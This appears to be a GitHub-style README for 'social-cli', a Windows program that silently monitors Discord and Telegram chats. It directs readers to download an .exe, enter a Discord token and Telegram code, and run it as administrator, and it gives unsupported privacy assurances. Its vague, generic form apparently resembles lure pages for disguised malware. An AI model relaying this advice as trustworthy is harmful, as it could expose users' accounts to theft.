social-cli is a command-line tool that helps you monitor messages on Discord and Telegram. It works quietly in the background, keeping an eye on conversations without needing complex setup. This tool is useful if you want to track messages for updates, notifications, or important information without opening each app.
You don’t need programming skills or software experience to use social-cli. It works on Windows and runs fast, using minimal system resources.
Before you start, make sure your computer meets these basic needs:
- Windows 10 or later
- 64-bit processor
- 4 GB of RAM or more
- At least 100 MB of free disk space
- Internet connection for setup and message monitoring
Click this big button to go to the download page:
This link takes you to the official releases page on GitHub. Look for the latest version that fits your Windows machine. The files usually end with .exe for easy installation.
On the releases page, find the latest Windows installer file. It often looks like:
social-cli-setup.exe
orsocial-cli-x.x.x-win64.exe
Click the file name to download.
After downloading, locate the file in your Downloads folder. Double-click the file to start the installation. A setup screen will appear.
Follow the instructions:
- Choose the folder where you want the program installed or keep the default.
- Agree to any terms if shown.
- Click "Install" to begin.
The setup will copy necessary files and prepare social-cli for use.
Once installation finishes:
- Find "social-cli" in your Start menu.
- Click to open the program.
A simple command prompt window will appear. This is where social-cli runs.
social-cli runs in a command window but does not require any coding. It listens for messages from your connected Discord and Telegram accounts.
You need to give social-cli permission to read messages.
- Discord: You will be asked to enter a token or link the app using instructions in the command window. This setup allows social-cli to safely connect to your Discord channels.
- Telegram: The program will request your phone number and send a code. Enter the code to link your Telegram chats.
Each connection uses secure methods to protect your privacy.
social-cli lets you select which Discord servers or Telegram groups you want to watch. Use the commands shown in the window to add or remove groups.
You can track:
- Specific Discord channels
- Telegram groups or individual chats
Once setup is complete, social-cli runs silently. It logs new messages and shows updates in the window.
You will see information like:
- Message time
- User who sent it
- The message content
This lets you stay informed without constantly switching apps.
Here are some useful commands you can type in the social-cli window:
help- Lists all commandslist- Shows connected channels and groupsadd- Adds a new channel or group to monitorremove- Stops monitoring a channel or groupexit- Quits the program
These simple commands allow you to control social-cli easily.
social-cli respects your privacy. It only accesses the accounts and groups you connect directly. The tool does not store messages outside your device.
All personal information stays private. The program uses standard security practices to protect your tokens and codes.
If social-cli does not start or work correctly, try these steps:
- Make sure your Windows is updated.
- Check your internet connection.
- Confirm you downloaded the correct Windows installer.
- Run social-cli as administrator (right-click the app icon and choose "Run as administrator").
- Restart your computer and try again.
If you see error messages in the command window, note them. You can search online using the exact text for solutions.
Help and updates for social-cli happen on the GitHub releases page:
Visit the social-cli release page for updates and files
Check here regularly for new versions and improvements.
- Keep the command window open while you monitor.
- Regularly check for software updates on the GitHub page.
- Only connect to trusted Discord servers and Telegram groups.
- Close social-cli when not monitoring to save system resources.
Planned updates include:
- Notification alerts for new messages
- Support for other chat platforms
- More user-friendly setup process
- Options to export message logs
- Custom filters to track certain words or users
These features will improve your monitoring experience.
For now, social-cli provides a straightforward way to watch your Discord and Telegram messages with minimal effort.